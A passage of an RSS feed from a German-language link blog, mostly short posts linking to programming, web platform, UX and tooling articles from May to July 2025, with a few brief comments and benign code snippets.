</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/02/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/02/3.html</guid><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.tibinotes.com/p/practical-ux-for-startups-surviving&quot;&gt;Practical UX for startups surviving without a designer&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/02/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/02/4.html</guid><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/mfontanini/presenterm&quot;&gt;presenterm&lt;/a&gt;: A markdown terminal slideshow tool&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/03/0.html</guid><pubDate>Sat, 03 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://eli.thegreenplace.net/2025/bloom-filters/&quot;&gt;Eli zum Bloom Filter&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/04/0.html</guid><pubDate>Sun, 04 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.deepintodev.com/blog/how-nodejs-works-behind-the-scenes&quot;&gt;How Node.js Works Behind the Scenes&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/04/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/04/1.html</guid><pubDate>Sun, 04 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://frontendmasters.com/blog/react-internals-which-useeffect-runs-first/&quot;&gt;React Internals: Which useEffect runs first&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/04/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/04/2.html</guid><pubDate>Sun, 04 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Manchmal hat man in Datenbanken ein paar Felder, die Ranges darstellen und verschiedene Zeilen sich in den Ranges jeweils nicht üershcneiden dürfen, z. B. bei Reservierungen. Postgres hat da was für, um auf Schema-Ebene zu garantieren, dass man da keine Überlappungen bekommt: &lt;a href=&quot;https://sqlfordevs.com/non-overlapping-time-ranges&quot;&gt;Time Ranges without Overlapping&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Grundlage dafür sind &lt;a href=&quot;https://www.postgresql.org/docs/current/rangetypes.html&quot;&gt;Range Types&lt;/a&gt; in Postgres.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/04/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/04/3.html</guid><pubDate>Sun, 04 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Betrifft mich (noch?) nicht, aber das sieht nach einer durchaus nützlichen Sammlung an Tipps aus: &lt;a href=&quot;https://blog.rahix.de/design-for-3d-printing/&quot;&gt;Design for 3D-Printing&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/07/0.html</guid><pubDate>Wed, 07 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://2ality.com/2025/04/stringification-javascript.html&quot;&gt;Converting values to strings in JavaScript has pitfalls&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/09/0.html</guid><pubDate>Fri, 09 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://webassembly.org/news/2025-03-20-wasm-2.0/&quot;&gt;WASM 2&lt;/a&gt; ist da.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>wasm</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/13/0.html</guid><pubDate>Tue, 13 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/mozilla-firefox/firefox&quot;&gt;Firefox ist jetzt auf GitHub&lt;/a&gt;. Ich bin zwar kein Fan von Zentralisierung, aber wer schonmal versucht hat, bei Firefox zu contributen, wird feststellen, dass es schon eine gewisse Hürde hat. Jetzt ist es immerhin Git und nicht mehr Mercurial. Der größere Vorteil ist jetzt aber, dass der Code sichtbar ist.&lt;/p&gt;
&lt;p&gt;Der Issue-Tracker und die CI-Pipeline ist außerhalb GitHub. 20 Jahre BugZilla und die CI-Pipeline migriert man auch nicht mal eben nach GitHub. Wahrscheinlich macht das für sie auch gar keinen Sinn. Aktuell nehmen sie keine PRs über GitHub an. Der Prozess ist wie bisher recht unzugänglich über irgendwelche Patch-Submission. Vielleicht ändert sich das ja noch.&lt;/p&gt;
&lt;p&gt;Hier gibt es noch ein paar Infos zur &lt;a href=&quot;https://glandium.org/blog/?p=4346&quot;&gt;Weg-Migration von Hg&lt;/a&gt; und auf der orangen Seite gibts auch noch &lt;a href=&quot;https://news.ycombinator.com/item?id=43970574&quot;&gt;ein paar Hintergrundinfos&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/19/0.html</guid><pubDate>Mon, 19 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kennt Ihr diese Boxen, die an Ampelsäulen hängen? Das sind oft die, wo man auch mit einem &lt;a href=&quot;https://de.wikipedia.org/wiki/Euroschl%C3%BCssel&quot;&gt;Euroschlüssel&lt;/a&gt; weiter kommt.&lt;/p&gt;
&lt;p&gt;Die haben an der Seite so ein Relief, das man als Sehbeeinträchtigter ertasten kann. Ich meine nicht den Taster, um die Bedarfsampel anzufragen. Linus Boman hat dazu mal &lt;a href=&quot;https://www.youtube.com/watch?v=330TEB6dst0&quot;&gt;ein Video gemacht&lt;/a&gt;. Diese Erhebungen sind dafür da, um ein Gefühl davon zu bekommen, was einen bei der Überquerung der Straße in etwa wo erwartet.&lt;/p&gt;
&lt;p&gt;Da ich das ganze vielleicht irgendwo noch einmal verarbeiten wollte, hab ich mal genau nach den Vorgaben recherchiert. Das war schwerer als gedacht.&lt;/p&gt;
&lt;p&gt;Diese taktilen Symbole kommen (wie im Video von Linus beschrieben) ursprünglich aus Schweden, von einem bestimmten Hersteller. &lt;a href=&quot;https://www.prismatibro.se/dl/da/en/Prisma-Daps-2000_Manual-Installation_EN.pdf&quot;&gt;Hier gibt es eine Anleitung&lt;/a&gt; so einer Ampelbox, die auch ein paar der Symbole beinhaltet. Mittlerweile haben sie es in eine österreichische Norm geschafft. Die Norm ist ÖNORM v 2100 und ist hinter einer &lt;a href=&quot;https://www.austrian-standards.at/de/shop/onorm-v-2100-2014-06-01~p2073017&quot;&gt;70€-Paywall&lt;/a&gt;. Glücklicherweise gibt es nicht so achtsame Hersteller von diesen Anlagen, so dass die Seite aus dem Standard, die die Symbole beinhaltet, in einer &lt;a href=&quot;https://anleitungen.langmatz.de/de/get-file/125330962_000001_4.pdf&quot;&gt;Anleitung gelandet ist&lt;/a&gt; (Seite 17).&lt;/p&gt;
&lt;p&gt;Das schöne an diesem UX-Feature ist, dass es für sehende Menschen nahezu unsichtbar ist und nur von Menschen gesehen wird, die nicht sehen können.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><category>design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/19/1.html</guid><pubDate>Mon, 19 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blogs.windows.com/windowsdeveloper/2025/05/19/the-windows-subsystem-for-linux-is-now-open-source/&quot;&gt;WSL ist jetzt open source&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>windows</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/19/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/19/2.html</guid><pubDate>Mon, 19 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Microsoft macht noch einen: &lt;a href=&quot;https://devblogs.microsoft.com/commandline/edit-is-now-open-source/&quot;&gt;edit&lt;/a&gt; ist jetzt auch open source. Kannte ich vorher gar nicht. Ist quasi GNU nano, aber für Windows.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>windows</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/20/0.html</guid><pubDate>Tue, 20 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://humans.maxcomperatore.com&quot;&gt;What are people doing right now&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/23/0.html</guid><pubDate>Fri, 23 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.marginalia.nu/log/a_120_morning_routine_2030/&quot;&gt;A 2030 morning routine&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/25/0.html</guid><pubDate>Sun, 25 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://solhsa.com/oldernews2025.html#ON-FILE-FORMATS&quot;&gt;On File Formats&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/05/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/05/29/0.html</guid><pubDate>Thu, 29 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nachdem ich die &lt;a href=&quot;https://holz.nu&quot;&gt;Hauptseite&lt;/a&gt; mal neu gemacht und auf &lt;a href=&quot;https://astro.build&quot;&gt;Astro&lt;/a&gt; portiert habe, folgt nun auch diese Linkliste.&lt;/p&gt;
&lt;p&gt;Aktuell läuft beides schon auf Astro. Jetzt kommt noch Styling.&lt;/p&gt;
&lt;p&gt;Endlich kann ich das Jekyll wegwerfen. Vielleicht gibt es dann auch eine Paginierung.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>blog</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/01/0.html</guid><pubDate>Sun, 01 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heute im &lt;a href=&quot;https://bun.sh/blog/release-notes/bun-v1.2.15&quot;&gt;Changelog&lt;/a&gt; von Bun gesehen: Node.js hat eine Histogram-API: &lt;code&gt;createHistogram&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { createHistogram } from &quot;perf_hooks&quot;;

// Create a histogram that can record values between 1 and 1,000,000,
// maintaining 3 significant figures of precision.
const histogram = createHistogram({
  lowest: 1,
  highest: 1_000_000,
  figures: 3,
});

histogram.record(100);
histogram.record(200);
histogram.record(1000);
histogram.record(100); // Record a duplicate

console.log(&quot;Min:&quot;, histogram.min);
console.log(&quot;Max:&quot;, histogram.max);
console.log(&quot;Mean:&quot;, histogram.mean);
console.log(&quot;Standard Deviation:&quot;, histogram.stddev);
console.log(&quot;Total Count:&quot;, histogram.totalCount);
console.log(&quot;Percentile 50 (Median):&quot;, histogram.percentile(50));
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/01/1.html</guid><pubDate>Sun, 01 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://diataxis.fr&quot;&gt;Diátaxis: A systematic approach to technical documentation authoring&lt;/a&gt;. In Aktion kann man das sehr gut in der Doku von Astro beobachten.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dx</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/08/0.html</guid><pubDate>Sun, 08 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://xania.org/202506/how-compiler-explorer-works&quot;&gt;How Compiler Explorer Works in 2025&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/11/0.html</guid><pubDate>Wed, 11 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;cURL kann nativ S3-v4-Signaturen: &lt;a href=&quot;https://how.wtf/aws-sigv4-requests-with-curl.html&quot;&gt;AWS SigV4 requests with curl&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/14/0.html</guid><pubDate>Sat, 14 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://0x80.pl/notesen/2016-11-28-simd-strfind.html&quot;&gt;SIMD-friendly algorithms for substring searching&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/14/1.html</guid><pubDate>Sat, 14 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joshworth.com/dev/pixelspace/pixelspace_solarsystem.html&quot;&gt;If the moon were only 1 pixel: A tediously accurate solar system model&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/14/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/14/2.html</guid><pubDate>Sat, 14 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://charity.wtf/2025/06/08/on-how-long-it-takes-to-know-if-a-job-is-right-for-you-or-not/&quot;&gt;On How Long it Takes to Know if a Job is Right for You or Not&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/14/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/14/3.html</guid><pubDate>Sat, 14 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/early-peek-at-csharp-11-features/&quot;&gt;Early peek at C# 11 features&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/16/0.html</guid><pubDate>Mon, 16 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/ISO8601/&quot;&gt;Ein Subreddit zu ISO 8601&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/18/0.html</guid><pubDate>Wed, 18 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://meodai.github.io/poline/&quot;&gt;Poline – An enigmatic color palette generator using polar coordinates&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/22/0.html</guid><pubDate>Sun, 22 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://lemire.me/blog/2025/06/22/c26-will-include-compile-time-reflection-why-should-you-care/&quot;&gt;Discover C++26’s compile-time reflection &lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/22/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/22/1.html</guid><pubDate>Sun, 22 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://testflight.apple.com/join/JjTcThrV&quot;&gt;uBlock Origin Lite gibt es jetzt auch für Safari auf iOS&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/25/0.html</guid><pubDate>Wed, 25 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt eine &lt;a href=&quot;https://www.programmax.net/articles/png-is-back/&quot;&gt;neue PNG-Spec&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/25/1.html</guid><pubDate>Wed, 25 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://refactoringenglish.com/chapters/release-announcements/&quot;&gt;How to Write Compelling Release Announcements&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/25/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/25/2.html</guid><pubDate>Wed, 25 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Translator&quot;&gt;Web Translator API&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const translator = await Translator.create({
  sourceLanguage: &quot;en&quot;,
  targetLanguage: &quot;ja&quot;,
});

const translation = await translator.translate(myTextString);
console.log(translation);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/mozilla/standards-positions/issues/1015&quot;&gt;Mozilla will es scheinbar nicht&lt;/a&gt;. Google hat da auch noch &lt;a href=&quot;https://developer.chrome.com/docs/ai/built-in-apis&quot;&gt;ein paar mehr geplant&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ich finde, die gehören nicht in den global-Namespace. Das sollte man ähnlich wie die Intl-APIs in einen Sub-Namespace schieben. Davon abgesehen will man diese APIs vielleicht auch nicht.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/26/0.html</guid><pubDate>Thu, 26 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/CookieStore&quot;&gt;CookieStore API&lt;/a&gt;. Sieht für mich nach einem neueren document.cookie aus, analog zum LocalStorage und damit dem browsernativen Ersatz zu Librarys wie cookie-js.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/29/0.html</guid><pubDate>Sun, 29 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://pubmed.ncbi.nlm.nih.gov/30101594/&quot;&gt;Object personification in autism: This paper will be very sad if you don&apos;t read it&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/29/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/29/1.html</guid><pubDate>Sun, 29 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.johndcook.com/blog/2025/06/27/most-ints-are-not-floats/&quot;&gt;Most ints are not floats&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/06/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/06/30/0.html</guid><pubDate>Mon, 30 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://danielchasehooper.com/posts/typechecked-generic-c-data-structures/&quot;&gt;I Write Type Safe Generic Data Structures in C&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sinnvolle Anmerkungen dazu gibt es &lt;a href=&quot;https://news.ycombinator.com/item?id=44425461&quot;&gt;auf der orangen Seite&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/02/0.html</guid><pubDate>Wed, 02 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://troubles.md/wasm-is-not-a-stack-machine/&quot;&gt;WebAssembly Troubles part 1: WebAssembly Is Not a Stack Machine&lt;/a&gt;. Der &lt;a href=&quot;https://troubles.md&quot;&gt;ganze Blog&lt;/a&gt; enthält noch mehr Posts in die Richtung.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/07/0.html</guid><pubDate>Mon, 07 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://designsystems.international/ideas/when-figma-starts-designing-us/&quot;&gt;When Figma Starts Designing Us&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Das hab ich an mir selbst auch schon beobachtet, sogar auch bei Auto-Layouting. Aus dem Grund benutze ich das auch nicht mehr in der Explorationsphase.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/08/0.html</guid><pubDate>Tue, 08 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-9-beta/&quot;&gt;TypeScript 5.9 Beta&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/08/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/08/1.html</guid><pubDate>Tue, 08 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://de.wikipedia.org/wiki/Kano-Modell&quot;&gt;Das Kano-Modell der Kundenzufriedenheit&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/08/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/08/2.html</guid><pubDate>Tue, 08 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://simonhearne.com/2022/caching-header-best-practices/&quot;&gt;Caching Header Best Practices&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/08/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/08/3.html</guid><pubDate>Tue, 08 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;CSS hat eine &lt;a href=&quot;https://css-tricks.com/better-css-shapes-using-shape-part-4-close-and-move/&quot;&gt;&lt;code&gt;shape&lt;/code&gt;-Funktion&lt;/a&gt;, mit der man ähnlich wie bei SVG-Pfaden Formen erzeugen kann, die man z. B. als &lt;code&gt;clip-path&lt;/code&gt; verwenden kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/08/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/08/4.html</guid><pubDate>Tue, 08 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Falls es jemand schon immer mal machen wollte: &lt;a href=&quot;https://medium.com/cracked-the-code/a-complete-guide-to-building-a-hand-wired-keyboard-9d8c9cc7b041&quot;&gt;A Complete Guide To Building a Hand-Wired Keyboard&lt;/a&gt; und &lt;a href=&quot;https://dev.to/w4ilun/building-your-own-keyboard-from-scratch-12g3&quot;&gt;Building your own keyboard (from scratch)&lt;/a&gt;. Der Post &lt;a href=&quot;https://matt3o.com/anatomy-of-a-keyboard/&quot;&gt;Anatomy of a Keyboard&lt;/a&gt; ist auch sehr hilfreich.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>hardware</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/08/5.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/08/5.html</guid><pubDate>Tue, 08 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384&quot;&gt;CVE-2025-48384&lt;/a&gt;: RCE in Git.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><category>cve</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/09/0.html</guid><pubDate>Wed, 09 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://sharpbrains.com/blog/2008/05/25/try-thinking-and-learning-without-working-memory/&quot;&gt;Try Thinking and Learning Without Working Memory&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/09/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/09/1.html</guid><pubDate>Wed, 09 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mathspp.com/blog/problems/regex-crossword&quot;&gt;Regex Crossword&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/09/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/09/2.html</guid><pubDate>Wed, 09 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://quuxplusone.github.io/blog/2025/04/04/etymology-of-call/&quot;&gt;Phrase origin: Why do we &quot;call&quot; functions&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/12/0.html</guid><pubDate>Sat, 12 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://jsdate.wtf&quot;&gt;How well do you know JavaScript&apos;s Date class&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/13/0.html</guid><pubDate>Sun, 13 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://herbsutter.com/2025/06/21/trip-report-june-2025-iso-c-standards-meeting-sofia-bulgaria/&quot;&gt;C++ 26 ist fertig&lt;/a&gt;. &lt;a href=&quot;https://www.youtube.com/watch?v=TOKP7k66VBw&quot;&gt;Hier&lt;/a&gt; noch ein Video.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/07/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/07/14/0.html</guid><pubDate>Mon, 14 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://evanhahn.com/how-i-build-software-quickly&quot;&gt;How I build software quickly&lt;/a&gt;.&lt;/p&gt;
